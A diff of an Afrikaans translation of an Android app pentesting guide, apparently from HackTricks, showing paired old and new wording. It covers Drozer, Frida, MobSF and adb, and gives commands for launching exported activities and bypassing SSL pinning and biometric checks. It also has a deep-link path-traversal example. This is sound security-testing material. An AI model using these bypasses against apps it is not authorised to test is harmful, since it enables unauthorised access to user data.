Ontwikkelaars moet nie **verouderde algoritmes** gebruik om **outorisering** **kontroles** uit te voer, **data** te **stoor** of **te stuur** nie. Sommige van hierdie algoritmes is: RC4, MD4, MD5, SHA1... As **hashes** gebruik word om wagwoorde te stoor, moet hashes wat teen brute-force **weerstandig** is, met sout gebruik word.
### Ander kontroles
@ -170,7 +170,7 @@ Ontwikkelaars moet nie **verouderde algoritmes** gebruik om autorisasie **kontro
- As die app sensitief is (soos bankapps), moet dit sy **eie kontroles uitvoer om te sien of die mobiele toestel ge-root is** en dienooreenkomstig optree.
- As die app sensitief is (soos bankapps), moet dit nagaan of 'n **emulator** gebruik word.
- As die app sensitief is (soos bankapps), moet dit **sy eie integriteit nagaan voordat dit uitgevoer** word om te kyk of dit gewysig is.
- Gebruik [**APKiD**](https://github.com/rednaga/APKiD) om te kyk watter kompilator/pakker/obfuskeerder gebruik is om die APK te bou.
- Gebruik [**APKiD**](https://github.com/rednaga/APKiD) om te kyk watter kompilator/pakker/obfuscator gebruik is om die APK te bou.
### React Native Toepassing
@ -194,15 +194,15 @@ Volgens hierdie [**blogpos**](https://clearbluejar.github.io/posts/desuperpackin
### Geoutomatiseerde Statiese Kode Analise
Die hulpmiddel [**mariana-trench**](https://github.com/facebook/mariana-trench) is in staat om **kwesbaarhede** te vind deur die **kode** van die toepassing te **skandeer**. Hierdie hulpmiddel bevat 'n reeks **bekende bronne** (wat die hulpmiddel aandui waar die **invoer** deur die **gebruiker** **beheer** word), **sinkholes** (wat die hulpmiddel aandui waar **gevaarlike** **plekke** is waar kwaadwillige gebruikersinvoer skade kan aanrig) en **reëls**. Hierdie reëls dui die **kombinasie** van **bronne-sinkholes** aan wat 'n kwesbaarheid aandui.
Die hulpmiddel [**mariana-trench**](https://github.com/facebook/mariana-trench) is in staat om **kwesbaarhede** te vind deur die **kode** van die toepassing te **skandeer**. Hierdie hulpmiddel bevat 'n reeks **bekende bronne** (wat die hulpmiddel aandui waar die **invoer** deur die **gebruiker** **beheer** word), **sinks** (wat die hulpmiddel aandui van **gevaarlike** **plekke** waar kwaadwillige gebruikersinvoer skade kan aanrig) en **reëls**. Hierdie reëls dui die **kombinasie** van **bronne-sinks** aan wat 'n kwesbaarheid aandui.
Met hierdie kennis sal **mariana-trench die kode hersien en moontlike kwesbaarhede daarin vind**.
Met hierdie kennis, **sal mariana-trench die kode hersien en moontlike kwesbaarhede daarin vind**.
### Geheime gelekt
'n Toepassing kan geheime (API-sleutels, wagwoorde, verborge URL's, subdomeine...) daarin bevat wat jy dalk kan ontdek. Jy kan 'n hulpmiddel soos [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks) gebruik.
### Om Biometriese Verifikasie te Omseil
### Om Biometriese Outorisering te Bypass
{{#ref}}
bypass-biometric-authentication-android.md
@ -227,7 +227,7 @@ content-protocol.md
## Dinamiese Analise
> Eerstens het jy 'n omgewing nodig waar jy die toepassing en al die omgewing (Burp CA sertifikaat, Drozer en Frida hoofsaaklik) kan installeer. Daarom is 'n ge-root toestel (geëmuleer of nie) uiters aanbeveel.
> Eerstens, jy het 'n omgewing nodig waar jy die toepassing en al die omgewing (Burp CA sertifikaat, Drozer en Frida hoofsaaklik) kan installeer. Daarom word 'n ge-root toestel (geëmuleer of nie) uiters aanbeveel.
### Aanlyn Dinamiese analise
@ -237,7 +237,7 @@ Jy kan selfs **die logs van jou toepassing** op die web sien en deur **adb** ver
![](<../../images/image (831).png>)
Danksy die ADB-verbinding kan jy **Drozer** en **Frida** binne die emulators gebruik.
Dankie aan die ADB-verbinding kan jy **Drozer** en **Frida** binne die emulators gebruik.
### Plaaslike Dinamiese Analise
@ -250,17 +250,17 @@ Danksy die ADB-verbinding kan jy **Drozer** en **Frida** binne die emulators geb
avd-android-virtual-device.md
{{#endref}}
- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Gratis weergawe:** Persoonlike Uitgawe, jy moet 'n rekening aanmeld. _Dit word aanbeveel om die weergawe **MET** _**VirtualBox** te **aflaai** om potensiële foute te vermy._)
- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Gratis weergawe:** Persoonlike Uitgawe, jy moet 'n rekening skep. _Dit word aanbeveel om die weergawe **MET** _**VirtualBox** te **aflaai** om potensiële foute te vermy._)
- [**Nox**](https://es.bignox.com) (Gratis, maar dit ondersteun nie Frida of Drozer nie).
> [!TIP]
> Wanneer jy 'n nuwe emulator op enige platform skep, onthou dat hoe groter die skerm is, hoe stadiger sal die emulator loop. Kies dus klein skerms indien moontlik.
Om **Google-dienste** (soos AppStore) in Genymotion te installeer, moet jy op die rooi gemerkte knoppie van die volgende beeld klik:
Om **Google dienste** (soos AppStore) in Genymotion te installeer, moet jy op die rooi gemerkte knoppie van die volgende beeld klik:
![](<../../images/image (277).png>)
Let ook daarop dat jy in die **konfigurasie van die Android VM in Genymotion** **Bridge Network mode** kan kies (dit sal nuttig wees as jy aan die Android VM wil koppel vanaf 'n ander VM met die hulpmiddels).
Let ook daarop dat jy in die **konfigurasie van die Android VM in Genymotion** **Bridge Network mode** kan kies (dit sal nuttig wees as jy aan die Android VM van 'n ander VM met die hulpmiddels sal verbind).
#### Gebruik 'n fisiese toestel
@ -279,15 +279,15 @@ Jy moet die **debugging** opsies aktiveer en dit sal goed wees as jy dit kan **r
**Logging**
Ontwikkelaars moet versigtig wees om **debugging-inligting** publiek bloot te stel, aangesien dit kan lei tot sensitiewe data lek. Die hulpmiddels [**pidcat**](https://github.com/JakeWharton/pidcat) en `adb logcat` word aanbeveel om toepassingslogs te monitor om sensitiewe inligting te identifiseer en te beskerm. **Pidcat** word verkies vir sy gebruiksgemak en leesbaarheid.
Ontwikkelaars moet versigtig wees om **debugging inligting** publiek bloot te stel, aangesien dit kan lei tot sensitiewe data lek. Die hulpmiddels [**pidcat**](https://github.com/JakeWharton/pidcat) en `adb logcat` word aanbeveel om toepassingslogs te monitor om sensitiewe inligting te identifiseer en te beskerm. **Pidcat** word verkies vir sy gebruiksgemak en leesbaarheid.
> [!WARNING]
> Let daarop dat vanaf **later nuwer as Android 4.0**, **toepassings slegs toegang het tot hul eie logs**. So toepassings kan nie ander apps se logs toegang nie.\
> Let daarop dat vanaf **later nuwer as Android 4.0**, **toepassings slegs toegang tot hul eie logs kan hê**. So toepassings kan nie ander apps se logs toegang nie.\
> Dit word steeds aanbeveel om **nie sensitiewe inligting te log nie**.
**Kopieer/plak Buffer Kaping**
**Kopie/Plak Buffer Kaping**
Android se **clipboard-gebaseerde** raamwerk stel kopieer-plak funksionaliteit in apps in, maar dit stel 'n risiko in omdat **ander toepassings** die klembord kan **toegang** en moontlik sensitiewe data blootstel. Dit is belangrik om **kopieer/plak** funksies vir sensitiewe afdelings van 'n toepassing, soos kredietkaartbesonderhede, te deaktiveer om data lek te voorkom.
Android se **clipboard-gebaseerde** raamwerk stel kopie-plak funksionaliteit in apps in, maar dit stel 'n risiko in omdat **ander toepassings** die klembord kan **toegang** en moontlik sensitiewe data blootstel. Dit is belangrik om **kopie/plak** funksies vir sensitiewe afdelings van 'n toepassing, soos kredietkaartbesonderhede, te deaktiveer om data lek te voorkom.
**Crash Logs**
@ -297,7 +297,7 @@ As pentester, **probeer om na hierdie logs te kyk**.
**Analitiese Data Gestuur Aan 3de Partye**
Toepassings integreer dikwels dienste soos Google Adsense, wat per ongeluk **sensitiewe data kan lek** as gevolg van onvanpaste implementering deur ontwikkelaars. Om potensiële data lek te identifiseer, is dit raadsaam om **die toepassing se verkeer te onderskep** en te kyk vir enige sensitiewe inligting wat aan derdeparty dienste gestuur word.
Toepassings integreer dikwels dienste soos Google Adsense, wat per ongeluk **sensitiewe data kan lek** as gevolg van onvanpaste implementering deur ontwikkelaars. Om potensiële data lek te identifiseer, is dit raadsaam om **die toepassing se verkeer te onderskep** en na te gaan of enige sensitiewe inligting aan derdeparty dienste gestuur word.
### SQLite DB's
@ -310,7 +310,7 @@ Lys die tabelle met `.tables` en lys die kolomme van die tabelle met `.schema <t
### Drozer (Eksploiteer Aktiwiteite, Inhoudverskaffers en Dienste)
Van [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** laat jou toe om die rol van 'n Android-app aan te neem en met ander apps te kommunikeer. Dit kan **enigiets doen wat 'n geïnstalleerde toepassing kan doen**, soos om gebruik te maak van Android se Inter-Process Communication (IPC) meganisme en met die onderliggende bedryfstelsel te kommunikeer.\
Van [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** laat jou toe om **die rol van 'n Android-app aan te neem** en met ander apps te kommunikeer. Dit kan **enigiets doen wat 'n geïnstalleerde toepassing kan doen**, soos om gebruik te maak van Android se Inter-Process Communication (IPC) meganisme en met die onderliggende bedryfstelsel te kommunikeer.\
Drozer is 'n nuttige hulpmiddel om **geëksporteerde aktiwiteite, geëksporteerde dienste en Inhoudverskaffers** te **eksploiteer** soos jy in die volgende afdelings sal leer.
### Eksploiteer geëksporteerde Aktiwiteite
@ -318,16 +318,16 @@ Drozer is 'n nuttige hulpmiddel om **geëksporteerde aktiwiteite, geëksporteerd
[**Lees dit as jy wil verfris wat 'n Android Aktiwiteit is.**](android-applications-basics.md#launcher-activity-and-other-activities)\
Onthou ook dat die kode van 'n aktiwiteit begin in die **`onCreate`** metode.
**Autorisasie omseiling**
**Outorisering omseiling**
Wanneer 'n Aktiwiteit geëksporteer word, kan jy sy skerm vanaf 'n eksterne app aanroep. Daarom, as 'n aktiwiteit met **sensitiewe inligting** **geëksporteer** is, kan jy die **authentikasie** meganismes **omseil** om toegang daartoe te verkry.
Wanneer 'n Aktiwiteit geëksporteer word, kan jy sy skerm van 'n eksterne app aanroep. Daarom, as 'n aktiwiteit met **sensitiewe inligting** **geëksporteer** is, kan jy die **outorisering** meganismes **omseil** om toegang daartoe te verkry.
[**Leer hoe om geëksporteerde aktiwiteite met Drozer te eksploiteer.**](drozer-tutorial/index.html#activities)
Jy kan ook 'n geëksporteerde aktiwiteit vanaf adb begin:
Jy kan ook 'n geëksporteerde aktiwiteit van adb begin:
- Pakketnaam is com.example.demo
- Geëksporteerde Aktiwiteitnaam is com.example.test.MainActivity
- Geëksporteerde AktiwiteitNaam is com.example.test.MainActivity
```bash
adb shell am start -n com.example.demo/com.example.test.MainActivity
```
@ -356,7 +356,7 @@ Inhoudverskaffers word basies gebruik om **data** te **deel**. As 'n app beskikb
[**Lees dit as jy wil verfris wat 'n Diens is.**](android-applications-basics.md#services)\
Onthou dat die aksies van 'n Diens begin in die metode `onStartCommand`.
'n Diens is basies iets wat **data kan ontvang**, dit **verwerk** en **gee** (of nie) 'n antwoord terug. As 'n toepassing sekere dienste exporteer, moet jy die **kode** nagaan om te verstaan wat dit doen en dit **dynamies** toets om vertroulike inligting te onttrek, magtiging maatreëls te omseil...\
'n Diens is basies iets wat **data kan ontvang**, dit **verwerk** en **gee** (of nie) 'n antwoord terug. As 'n toepassing sekere dienste geexporteer het, moet jy die **kode** nagaan om te verstaan wat dit doen en dit **dynamies** toets om vertroulike inligting te onttrek, magtiging maatreëls te omseil...\
[**Leer hoe om Dienste met Drozer te exploiteer.**](drozer-tutorial/index.html#services)
### **Exploiteer Uitsendingsontvangers**
@ -374,7 +374,7 @@ Jy kan 'n verklaarde **skema** gebruik om **adb** of 'n **blaaier** te **open**:
```bash
adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?param=value" [your.package.name]
```
Let daarop dat jy **die pakkie naam kan oorslaan** en die mobiele toestel sal outomaties die app oproep wat daardie skakel moet oopmaak.
_Note dat jy die **pakketnaam kan oorslaan** en die mobiele toestel sal outomaties die app oproep wat daardie skakel moet oopmaak._
```html
<!-- Browser regular link -->
<a href="scheme://hostname/path?param=value">Click me</a>
@ -389,11 +389,11 @@ Om die **kode wat in die App uitgevoer sal word** te vind, gaan na die aktiwitei
**Sensitiewe inligting**
Elke keer as jy 'n diep link vind, moet jy seker maak dat **dit nie sensitiewe data (soos wagwoorde) via URL parameters ontvang nie**, want enige ander toepassing kan **die diep link naboots en daardie data steel!**
Elke keer as jy 'n diep skakel vind, moet jy seker maak dat **dit nie sensitiewe data (soos wagwoorde) via URL parameters ontvang nie**, want enige ander toepassing kan **die diep skakel naboots en daardie data steel!**
**Parameters in pad**
Jy **moet ook kyk of enige diep link 'n parameter binne die pad** van die URL gebruik, soos: `https://api.example.com/v1/users/{username}`, in daardie geval kan jy 'n pad traversie afdwing deur iets soos: `example://app/users?username=../../unwanted-endpoint%3fparam=value` te benader.\
Jy **moet ook kyk of enige diep skakel 'n parameter binne die pad** van die URL gebruik, soos: `https://api.example.com/v1/users/{username}`, in daardie geval kan jy 'n pad traversie afdwing deur iets soos: `example://app/users?username=../../unwanted-endpoint%3fparam=value` te benader.\
Let daarop dat as jy die korrekte eindpunte binne die toepassing vind, jy dalk 'n **Open Redirect** kan veroorsaak (as 'n deel van die pad as domeinnaam gebruik word), **rekening oorname** (as jy gebruikersbesonderhede kan wysig sonder 'n CSRF-token en die kwesbare eindpunt die korrekte metode gebruik) en enige ander kwesbaarheid. Meer [inligting hieroor](http://dphoeniixx.com/2020/12/13-2/).
**Meer voorbeelde**
@ -404,7 +404,7 @@ Let daarop dat as jy die korrekte eindpunte binne die toepassing vind, jy dalk '
- **Sertifikate word nie altyd behoorlik ondersoek nie** deur Android-toepassings. Dit is algemeen dat hierdie toepassings waarskuwings oorsien en self-onderteken sertifikate aanvaar of, in sommige gevalle, terugkeer na die gebruik van HTTP-verbindinge.
- **Onderhandelinge tydens die SSL/TLS handdruk is soms swak**, wat onveilige cipher suites gebruik. Hierdie kwesbaarheid maak die verbinding kwesbaar vir man-in-the-middle (MITM) aanvalle, wat aanvallers in staat stel om die data te ontsleutel.
- **Lek van private inligting** is 'n risiko wanneer toepassings outentiseer deur veilige kanale, maar dan oor nie-veilige kanale vir ander transaksies kommunikeer. Hierdie benadering beskerm nie sensitiewe data, soos sessiekoekies of gebruikersbesonderhede, teen onderskep deur kwaadwillige entiteite nie.
- **Lek van private inligting** is 'n risiko wanneer toepassings outentiseer deur veilige kanale, maar dan oor nie-veilige kanale vir ander transaksies kommunikeer. Hierdie benadering beskerm nie sensitiewe data, soos sessiekookies of gebruikersbesonderhede, teen onderskep deur kwaadwillige entiteite nie.
#### Sertifikaat Verifikasie
@ -426,11 +426,11 @@ As **Flutter** gebruik word, moet jy die instruksies in [**hierdie bladsy**](flu
Wanneer SSL Pinning geïmplementeer is, word dit noodsaaklik om dit te omseil om HTTPS-verkeer te inspekteer. Verskeie metodes is beskikbaar vir hierdie doel:
- Outomaties **wysig** die **apk** om **SSL Pinning** te **omseil** met [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). Die grootste voordeel van hierdie opsie is dat jy nie root nodig het om die SSL Pinning te omseil nie, maar jy sal die toepassing moet verwyder en die nuwe een moet herinstalleer, en dit sal nie altyd werk nie.
- Outomaties **wysig** die **apk** om **SSLPinning** te **omseil** met [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). Die grootste voordeel van hierdie opsie is dat jy nie root nodig het om die SSL Pinning te omseil nie, maar jy sal die toepassing moet verwyder en die nuwe een moet herinstalleer, en dit sal nie altyd werk nie.
- Jy kan **Frida** gebruik (hieronder bespreek) om hierdie beskerming te omseil. Hier is 'n gids om Burp+Frida+Genymotion te gebruik: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
- Jy kan ook probeer om **automaties SSL Pinning te omseil** met [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
- Jy kan ook probeer om **automaties SSL Pinning te omseil** met **MobSF dinamiese analise** (hieronder verduidelik)
- As jy steeds dink dat daar sekere verkeer is wat jy nie opneem nie, kan jy probeer om die verkeer na burp te **stuur met iptables**. Lees hierdie blog: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
- As jy steeds dink dat daar verkeer is wat jy nie opneem nie, kan jy probeer om die verkeer na burp te **stuur met iptables**. Lees hierdie blog: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
#### Soek na Algemene Web Kwesbaarhede
@ -439,7 +439,7 @@ Dit is belangrik om ook te soek na algemene web kwesbaarhede binne die toepassin
### Frida
[Frida](https://www.frida.re) is 'n dinamiese instrumentasie toolkit vir ontwikkelaars, omgekeerde ingenieurs, en sekuriteitsnavorsers.\
**Jy kan lopende toepassings toegang verkry en metodes op tydstip aanroep om die gedrag te verander, waardes te verander, waardes uit te trek, verskillende kode te loop...**\
**Jy kan lopende toepassings toegang verkry en metodes op tydstip haak om die gedrag te verander, waardes te verander, waardes uit te trek, verskillende kode te loop...**\
As jy Android-toepassings wil pentest, moet jy weet hoe om Frida te gebruik.
- Leer hoe om Frida te gebruik: [**Frida tutoriaal**](frida-tutorial/index.html)
@ -483,7 +483,7 @@ frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app
```
### **Agtergrond Beelde**
Wanneer jy 'n toepassing in die agtergrond plaas, stoor Android 'n **snapshot van die toepassing** sodat wanneer dit herstel word na die voorgrond, dit begin laai die beeld voordat die app, sodat dit lyk asof die app vinniger gelaai is.
Wanneer jy 'n toepassing in die agtergrond plaas, stoor Android 'n **snapshot van die toepassing** sodat wanneer dit herstel word na die voorgrond, dit begin om die beeld te laai voordat die app, sodat dit lyk asof die app vinniger gelaai is.
E however, as hierdie snapshot **sensitiewe inligting** bevat, kan iemand met toegang tot die snapshot daardie inligting **steel** (let daarop dat jy root nodig het om toegang te verkry).
@ -536,16 +536,16 @@ docker pull opensecurity/mobile-security-framework-mobsf
docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
```
Let wel dat MobSF **Android**(apk)**, IOS**(ipa) **en Windows**(apx) toepassings kan analiseer (_Windows toepassings moet geanaliseer word vanaf 'n MobSF wat op 'n Windows gasheer geïnstalleer is_).\
As jy ook 'n **ZIP** lêer met die bronkode van 'n **Android** of **IOS** app skep (gaan na die wortelgids van die toepassing, kies alles en skep 'n ZIP-lêer), sal dit ook in staat wees om dit te analiseer.
As jy ook 'n **ZIP**-lêer met die bronkode van 'n **Android** of **IOS** app skep (gaan na die wortelgids van die toepassing, kies alles en skep 'n ZIP-lêer), sal dit ook in staat wees om dit te analiseer.
MobSF laat jou ook toe om **diff/vergelyking** analises te doen en om **VirusTotal** te integreer (jy sal jou API-sleutel in _MobSF/settings.py_ moet instel en dit aktiveer: `VT_ENABLED = TRUE` `VT_API_KEY = <Jou API-sleutel>` `VT_UPLOAD = TRUE`). Jy kan ook `VT_UPLOAD` op `False` stel, dan sal die **hash** ge **upload** word in plaas van die lêer.
MobSF laat jou ook toe om **diff/vergelyking** analises te doen en om **VirusTotal** te integreer (jy sal jou API-sleutel in _MobSF/settings.py_ moet instel en dit aktiveer: `VT_ENABLED = TRUE` `VT_API_KEY = <Your API key>` `VT_UPLOAD = TRUE`). Jy kan ook `VT_UPLOAD` op `False` stel, dan sal die **hash** ge **upload** word in plaas van die lêer.
### Geassisteerde dinamiese analise met MobSF
**MobSF** kan ook baie nuttig wees vir **dinamiese analise** in **Android**, maar in daardie geval sal jy MobSF en **genymotion** op jou gasheer moet installeer (n VM of Docker sal nie werk nie). _Let wel: Jy moet **eers 'n VM in genymotion begin** en **dan MobSF.**_\
Die **MobSF dinamiese ontleder** kan:
- **Dump toepassingsdata** (URL's, logs, klembord, skermskote gemaak deur jou, skermskote gemaak deur "**Exported Activity Tester**", e-posse, SQLite databasisse, XML-lêers, en ander geskepte lêers). Al hierdie word outomaties gedoen behalwe vir die skermskote, jy moet druk wanneer jy 'n skermskoot wil hê of jy moet druk op "**Exported Activity Tester**" om skermskote van al die uitgevoerde aktiwiteite te verkry.
- **Dump toepassingsdata** (URL's, logs, klembord, skermskote gemaak deur jou, skermskote gemaak deur "**Exported Activity Tester**", e-posse, SQLite-databasisse, XML-lêers, en ander geskepte lêers). Al hierdie word outomaties gedoen behalwe vir die skermskote, jy moet druk wanneer jy 'n skermskoot wil hê of jy moet druk op "**Exported Activity Tester**" om skermskote van al die uitgevoerde aktiwiteite te verkry.
- **HTTPS-verkeer** vasvang
- **Frida** gebruik om **runtime** **inligting** te verkry
@ -553,7 +553,7 @@ Van Android **weergawe > 5**, sal dit **outomaties Frida begin** en globale **pr
**Frida**
Standaard sal dit ook 'n paar Frida-skripte gebruik om **SSL pinning** te **omseil**, **root-detektering** en **debugger-detektering** te **omseil** en om **interessante API's** te **moniteer**.\
Standaard sal dit ook 'n paar Frida-skripte gebruik om **SSL pinning** te **omseil**, **root-detektering** en **debugger-detektering** en om **interessante API's** te **moniteer**.\
MobSF kan ook **uitgevoerde aktiwiteite** aanroep, **skermskote** daarvan neem en dit **stoor** vir die verslag.
Om die dinamiese toetsing te **begin**, druk die groen knoppie: "**Start Instrumentation**". Druk op die "**Frida Live Logs**" om die logs te sien wat deur die Frida-skripte gegenereer word en "**Live API Monitor**" om al die aanroepings na gehookte metodes, oorgedraagde argumente en teruggegee waardes te sien (dit sal verskyn nadat jy "Start Instrumentation" gedruk het).\
@ -565,16 +565,16 @@ Boonop het jy 'n paar bykomende Frida-funksies:
- **Laden Klasse Opnoem**: Dit sal al die geladen klasse druk
- **Strings Vasvang**: Dit sal al die vasgevangde strings druk terwyl jy die toepassing gebruik (baie lawaaiig)
- **String Vergelykings Vasvang**: Dit kan baie nuttig wees. Dit sal **die 2 strings wat vergelyk word** wys en of die resultaat Waar of Vals was.
- **String Vergelykings Vasvang**: Dit kan baie nuttig wees. Dit sal **die 2 strings wat vergelyk word** wys en of die resultaat Waar of Onwaar was.
- **Klas Metodes Opnoem**: Sit die klasnaam (soos "java.io.File") en dit sal al die metodes van die klas druk.
- **Klas Patroon Soek**: Soek klasse volgens patroon
- **Klas Metodes Trace**: **Trace** 'n **hele klas** (sien insette en uitsette van al die metodes van die klas). Onthou dat MobSF standaard verskeie interessante Android API-metodes trace.
Sodra jy die bykomende module wat jy wil gebruik, gekies het, moet jy druk op "**Start Instrumentation**" en jy sal al die uitsette in "**Frida Live Logs**" sien.
Sodra jy die bykomende module wat jy wil gebruik gekies het, moet jy druk op "**Start Instrumentation**" en jy sal al die uitsette in "**Frida Live Logs**" sien.
**Shell**
Mobsf bied jou ook 'n shell met 'n paar **adb** opdragte, **MobSF opdragte**, en algemene **shell** **opdragte** onderaan die dinamiese analise bladsy. Sommige interessante opdragte:
Mobsf bied jou ook 'n shell met 'n paar **adb** opdragte, **MobSF opdragte**, en algemene **shell** **opdragte** aan die onderkant van die dinamiese analise bladsy. Sommige interessante opdragte:
```bash
help
shell ls
@ -585,10 +585,10 @@ receivers
```
**HTTP gereedskap**
Wanneer http-verkeer gevang word, kan jy 'n lelike weergawe van die gevange verkeer op "**HTTP(S) Traffic**" onderaan sien of 'n mooi weergawe in die "**Start HTTPTools**" groen knoppie. Van die tweede opsie kan jy die **gevange versoeke** na **proxies** soos Burp of Owasp ZAP **stuur**.\
Wanneer http-verkeer gevang word, kan jy 'n lelike weergawe van die gevange verkeer op "**HTTP(S) Traffic**" onderaan sien of 'n mooi weergawe in "**Start HTTPTools**" groen knoppie. Van die tweede opsie kan jy **stuur** die **gevange versoeke** na **proxies** soos Burp of Owasp ZAP.\
Om dit te doen, _skakel Burp aan -->_ _skakel Intercept af --> in MobSB HTTPTools kies die versoek_ --> druk "**Send to Fuzzer**" --> _kies die proxy adres_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)).
Sodra jy die dinamiese analise met MobSF voltooi het, kan jy op "**Start Web API Fuzzer**" druk om **http versoeke te fuzz** en soek na kwesbaarhede.
Sodra jy die dinamiese analise met MobSF voltooi het, kan jy op "**Start Web API Fuzzer**" druk om **fuzz http versoeke** en soek na kwesbaarhede.
> [!TIP]
> Na die uitvoering van 'n dinamiese analise met MobSF mag die proxy-instellings verkeerd geconfigureer wees en jy sal nie in staat wees om dit vanaf die GUI reg te stel nie. Jy kan die proxy-instellings regstel deur:
@ -604,13 +604,13 @@ Hierdie gereedskap sal 'n paar **Hooks** gebruik om jou te laat weet **wat in di
### [Yaazhini](https://www.vegabird.com/yaazhini/)
Dit is 'n **wonderlike gereedskap om statiese analise met 'n GUI uit te voer**
Dit is 'n **wonderlike gereedskap om statiese analise met 'n GUI** uit te voer.
![](<../../images/image (741).png>)
### [Qark](https://github.com/linkedin/qark)
Hierdie gereedskap is ontwerp om na verskeie **veiligheidsverwante Android-toepassing kwesbaarhede** te soek, hetsy in **bronkode** of **gepakte APK's**. Die gereedskap is ook **in staat om 'n "Proof-of-Concept" ontploembare APK** en **ADB-opdragte** te skep, om sommige van die gevonde kwesbaarhede (Blootgestelde aktiwiteite, intents, tapjacking...) te benut. Soos met Drozer, is daar geen behoefte om die toetsapparaat te root nie.
Hierdie gereedskap is ontwerp om na verskeie **veiligheidsverwante Android-toepassing kwesbaarhede** te soek, hetsy in **bronkode** of **gepakde APK's**. Die gereedskap is ook **in staat om 'n "Proof-of-Concept" ontploembare APK** en **ADB-opdragte** te skep, om sommige van die gevonde kwesbaarhede (Blootgestelde aktiwiteite, intents, tapjacking...) te benut. Soos met Drozer, is daar geen behoefte om die toetsapparaat te root nie.
```bash
pip3 install --user qark # --user is only needed if not using a virtualenv
qark --apk path/to/my.apk
@ -632,9 +632,9 @@ reverse-apk relative/path/to/APP.apk
SUPER is 'n opdraglyn-toepassing wat in Windows, MacOS X en Linux gebruik kan word, wat _.apk_ lêers analiseer op soek na kwesbaarhede. Dit doen dit deur APK's te dekomprimeer en 'n reeks reëls toe te pas om daardie kwesbaarhede te ontdek.
Alle reëls is gefokus in 'n `rules.json` lêer, en elke maatskappy of toetsers kan hul eie reëls skep om te analiseer wat hulle nodig het.
Alle reëls is gefokus in 'n `rules.json` lêer, en elke maatskappy of toetsers kan sy eie reëls skep om te analiseer wat hulle nodig het.
Laai die nuutste binêre af van die [aflaai bladsy](https://superanalyzer.rocks/download.html)
Laai die nuutste binaire lêers af van die [aflaai bladsy](https://superanalyzer.rocks/download.html)
```
super-analyzer {apk_file}
```
@ -644,7 +644,7 @@ super-analyzer {apk_file}
StaCoAn is 'n **crossplatform** hulpmiddel wat ontwikkelaars, bugbounty jagters en etiese hackers help om [statische kode analise](https://en.wikipedia.org/wiki/Static_program_analysis) op mobiele toepassings uit te voer.
Die konsep is dat jy jou mobiele toepassingslêer (n .apk of .ipa-lêer) op die StaCoAn-toepassing sleep en dit sal 'n visuele en draagbare verslag vir jou genereer. Jy kan die instellings en woordlyste aanpas om 'n gepersonaliseerde ervaring te kry.
Die konsep is dat jy jou mobiele toepassingslêer (n .apk of .ipa-lêer) op die StaCoAn-toepassing sleep en dit 'n visuele en draagbare verslag vir jou sal genereer. Jy kan die instellings en woordlyste aanpas om 'n gepersonaliseerde ervaring te kry.
Laai [nuutste vrystelling](https://github.com/vincentcox/StaCoAn/releases):
```
@ -689,7 +689,7 @@ Nuttig om malware te detecteer: [https://koodous.com/](https://koodous.com)
## Obfuscating/Deobfuscating code
Let daarop dat dit afhang van die diens en konfigurasie wat jy gebruik om die kode te obfuskeer. Geheime mag of mag nie obfuskeer wees nie.
Let daarop dat dit afhang van die diens en konfigurasie wat jy gebruik om die kode te obfuskeer. Geheimenisse mag of mag nie obfuskeer wees nie.
### [ProGuard](<https://en.wikipedia.org/wiki/ProGuard_(software)>)
@ -721,7 +721,7 @@ Dit is 'n LLM hulpmiddel om enige potensiële sekuriteitskwesbaarhede in android
### [Simplify](https://github.com/CalebFenton/simplify)
Dit is 'n **generiese android deobfuscator.** Simplify **voert 'n app virtueel uit** om sy gedrag te verstaan en probeer dan **om die kode te optimaliseer** sodat dit identies optree, maar makliker vir 'n mens om te verstaan. Elke optimalisering tipe is eenvoudig en generies, so dit maak nie saak watter spesifieke tipe obfuskerings gebruik word nie.
Dit is 'n **generiese android deobfuscator.** Simplify **voortvirtueel 'n app** om sy gedrag te verstaan en dan **probeer om die kode te optimaliseer** sodat dit identies optree, maar makliker vir 'n mens om te verstaan. Elke optimalisering tipe is eenvoudig en generies, so dit maak nie saak watter spesifieke tipe obfuskering gebruik word nie.
### [APKiD](https://github.com/rednaga/APKiD)
@ -735,7 +735,7 @@ APKiD gee jou inligting oor **hoe 'n APK gemaak is**. Dit identifiseer baie **ko
### [Androl4b](https://github.com/sh4hin/Androl4b)
AndroL4b is 'n Android sekuriteits virtuele masjien gebaseer op ubuntu-mate wat die versameling van die nuutste raamwerke, tutoriaal en labs van verskillende sekuriteitsgeeks en navorsers vir reverse engineering en malware analise insluit.
AndroL4b is 'n Android sekuriteits virtuele masjien gebaseer op ubuntu-mate wat die versameling van die nuutste raamwerke, tutoriaal en laboratoriums van verskillende sekuriteitsgeeks en navorsers vir reverse engineering en malware analise insluit.
## References

22
src/network-services-pentesting/5555-android-debug-bridge.md
View File

@ -4,7 +4,7 @@
## Basiese Inligting
From [the docs](https://developer.android.com/studio/command-line/adb):
Van [die docs](https://developer.android.com/studio/command-line/adb):
Android Debug Bridge (adb) is 'n opdraglyn hulpmiddel om te kommunikeer met Android-gebaseerde toestelle en emulators. Tipiese aksies sluit in die installering van pakkette, foutopsporing, en die verkryging van 'n interaktiewe Unix-skaal op die toestel.
